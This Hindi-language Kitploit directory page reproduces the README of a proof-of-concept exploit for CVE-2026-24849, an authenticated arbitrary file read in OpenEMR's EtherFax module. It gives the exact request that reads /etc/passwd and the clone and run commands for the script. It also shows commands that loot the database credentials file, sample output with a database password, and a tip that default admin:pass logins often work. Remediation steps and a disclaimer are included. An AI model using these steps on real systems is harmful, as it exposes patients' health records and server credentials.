Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-24849 — CVE-2026-24849 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, OpenEMR के EtherFax मॉड्यूल में प्रमाणित पाथ-ट्रैवर्सल मनमानी फ़ाइल रीड। डेटाबेस क्रेडेंशियल और रोगी रिकॉर्ड सहित सर्वर फ़ाइलें पढ़ता है। | Kitploit
उपकरण/GitHubGitHub/doany1/cve-2026-24849
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनजानकारी एकत्र करनापेनिट्रेशन टेस्टिंग
GitHubdoany1/cve-2026-24849

CVE-2026-24849

CVE-2026-24849 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, OpenEMR के EtherFax मॉड्यूल में प्रमाणित पाथ-ट्रैवर्सल मनमानी फ़ाइल रीड। डेटाबेस क्रेडेंशियल और रोगी रिकॉर्ड सहित सर्वर फ़ाइलें पढ़ता है।

रिपॉजिटरी देखें
3 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-24849 OpenEMR प्रमाणित मनमाना फ़ाइल पढ़ना (EtherFax disposeDoc)

परीक्षण: OpenEMR Version = 7.0.2

प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2026-24849 के लिए, OpenEMR के Fax/SMS (EtherFax) मॉड्यूल में एक प्रमाणित पथ-ट्रैवर्सल / मनमाना फ़ाइल पढ़ना। कोई भी प्रमाणित उपयोगकर्ता - विशेषाधिकार स्तर की परवाह किए बिना - वेब-सर्वर उपयोगकर्ता के रूप में सर्वर फाइलसिस्टम से मनमानी फ़ाइलें पढ़ सकता है (डेटाबेस क्रेडेंशियल्स, रोगी दस्तावेज़/PHI, /etc/passwd,…)।

CVECVE-2026-24849
भेद्यतापथ ट्रैवर्सल / मनमाना फ़ाइल पढ़ना (CWE-22)
घटकEtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms
प्रभावितOpenEMR < 7.0.4
पैच किया गयाOpenEMR 7.0.4
प्रमाणीकरणआवश्यक कोई भी उपयोगकर्ता, किसी विशेषाधिकार की आवश्यकता नहीं
गंभीरताNVD 6.5 (मध्यम) / GitHub CNA 9.9 (गंभीर)
परीक्षण किया गयाOpenEMR 7.0.2 Ubuntu 22.04, PHP 8.1, Apache 2.4

भेद्यता

Fax/SMS मॉड्यूल का disposeDoc() विधि कॉलर-प्रदत्त file_path अनुरोध पैरामीटर लेता है, फ़ाइल के अस्तित्व की पुष्टि करता है, और इसे सीधे readfile() पर भेजता है, जिसमें कोई पथ कैनोनिकलीकरण, कोई अनुमति-सूची, और कोई प्राधिकरण जांच नहीं है, बस एक मान्य सत्र रखने के अलावा:

root@kitploit:~
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
    $where = $this->getRequest('file_path', null);   // attacker-controlled, unvalidated
    if (file_exists($where)) {
        ...
        readfile($where);    // arbitrary file read as the web-server user
        unlink($where);      // ⚠ deletes the file after reading (see warning below)
        exit;
    }
    die('Problem with download. Use browser back button');
}

हैंडलर मॉड्यूल डिस्पैचर के माध्यम से file_path में पूर्ण पथ के साथ पहुंचा जाता है (कोई ../ ट्रैवर्सल आवश्यक नहीं):

root@kitploit:~
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
        ?site=default
        &type=fax
        &_ACTION_COMMAND=disposeDoc
        &file_path=/etc/passwd
        &action=download

प्रभाव

एक निम्न-विशेषाधिकार (या डिफ़ॉल्ट) खाता पूर्ण सर्वर-पक्ष फ़ाइल-पढ़ने का प्राथमिक साधन बन जाता है:

  • डेटाबेस क्रेडेंशियल्स sites/default/sqlconf.php
  • रोगी रिकॉर्ड / PHI sites/<site>/documents/ के अंतर्गत कुछ भी, भले ही वह निर्देशिका .htaccess में Deny from all हो (पढ़ना डिस्क पर होता है, Apache को बायपास करते हुए)
  • सिस्टम फ़ाइलें /etc/passwd, एप्लिकेशन स्रोत, वेब उपयोगकर्ता द्वारा पढ़ी जा सकने वाली कुंजियाँ/टोकन

⚠️ विनाशकारी व्यवहार

disposeDoc() फ़ाइल पढ़ने के बाद unlink($where) कॉल करता है। यदि वेब-सर्वर उपयोगकर्ता को किसी फ़ाइल को हटाने की अनुमति है तो उसे पढ़ने पर वह हटा दी जाएगी। रूट-स्वामित्व वाली फ़ाइलों (जैसे /etc/passwd, अधिकांश स्थापनाओं पर sqlconf.php) को लक्षित करें - उनकी पैरेंट डायरेक्टरी वेब उपयोगकर्ता द्वारा लिखने योग्य नहीं है, इसलिए unlink() विफल हो जाता है और फ़ाइल बच जाती है। इस उपकरण को किस ओर इंगित करना है, इस बारे में सोच-समझकर निर्णय लें।

पूर्वापेक्षाएँ

  • मान्य OpenEMR क्रेडेंशियल्स (कोई भी विशेषाधिकार स्तर - डिफ़ॉल्ट admin:pass अक्सर काम करता है)।
  • Fax/SMS मॉड्यूल सक्षम होना चाहिए जिसमें फ़ैक्स प्रदाता के रूप में EtherFax चुना गया हो। किसी वास्तविक EtherFax खाते/क्रेडेंशियल की आवश्यकता नहीं है - फ़ाइल पढ़ना किसी बाहरी API कॉल से पहले होता है।

आवश्यकताएँ

  • Python 3.6+
  • requests
root@kitploit:~
pip3 install requests

स्थापना

root@kitploit:~
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py

उपयोग

बिना किसी तर्क के चलाएँ और यह हर आवश्यक चीज़ के लिए संकेत देगा:

root@kitploit:~
python3 CVE-2026-24849.py

या फ़्लैग के साथ गैर-संवादात्मक रूप से चलाएँ:

root@kitploit:~
# read a single file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd

# loot the DB credentials and save to a file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
    -f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php

विकल्प

फ़्लैगविवरणडिफ़ॉल्ट
-t, --targetबेस URL, उदा. http://10.10.10.10संकेत दिया गया
-u, --userOpenEMR उपयोगकर्ता नामadmin
-P, --passwordOpenEMR पासवर्डसंकेत दिया गया (छिपा हुआ)
-s, --siteOpenEMR साइट आईडीdefault
-f, --fileदूरस्थ फ़ाइल का पूर्ण पथयदि छोड़ा गया तो संवादात्मक लूप
-o, --outputलूटी गई फ़ाइल को प्रिंट करने के बजाय स्थानीय रूप से सहेजें

यदि -f छोड़ा गया है, तो उपकरण संवादात्मक पढ़ने के लूप में आ जाता है ताकि आप एक सत्र से कई फ़ाइलें खींच सकें।

उदाहरण

root@kitploit:~
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)

Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.

[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login  = 'openemr';
$pass   = 'openemr123';
$dbase  = 'openemr';
[+] --------------------------

यह कैसे काम करता है

  1. requests के साथ लॉग इन करता है, सत्र को अपने कुकी जार में रखता है (ब्राउज़र सत्र-आईडी रोटेशन से बचाता है जो कॉपी किए गए कुकीज़ को बासी बना देता है)।
  2. एक सुरक्षित, रूट-स्वामित्व वाली प्रोब फ़ाइल पढ़कर पहुँच की पुष्टि करता है - खराब क्रेडेंशियल्स बनाम मॉड्यूल सक्षम नहीं बनाम सफलता को स्पष्ट रूप से अलग करता है।
  3. disposeDoc पढ़ने का अनुरोध भेजता है, स्वचालित रूप से disposeDoc और disposeDocument दोनों का प्रयास करता है (विधि का नाम प्रभावित छोटे संस्करणों में भिन्न है)।

उपचार

  • OpenEMR 7.0.4 या बाद के संस्करण में अपग्रेड करें। फिक्स पथ को कैनोनिकलीकृत करता है, इसे अनुमत निर्देशिका तक सीमित करता है, और एक वास्तविक प्राधिकरण जांच जोड़ता है।
  • डिफ़ॉल्ट क्रेडेंशियल बदलें और पहली बार लॉगिन पर पासवर्ड रीसेट लागू करें।
  • रहस्यों और रोगी दस्तावेज़ों को वेबरूट के बाहर रखें; केवल .htaccess पर निर्भर न रहें।

अस्वीकरण

यह उपकरण अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग केवल उन सिस्टमों के खिलाफ करें जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति है। लेखक इस सॉफ़्टवेयर के दुरुपयोग या इससे होने वाली किसी भी क्षति के लिए कोई दायित्व स्वीकार नहीं करता है। ऊपर वर्णित विनाशकारी unlink() व्यवहार पर ध्यान दें।

संदर्भ

  • GitHub सुरक्षा सलाहकार: https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24849
  • विक्रेता: https://www.open-emr.org/

लेखक

doany1

लाइसेंस

MIT देखें LICENSE.

टूल डाउनलोड करें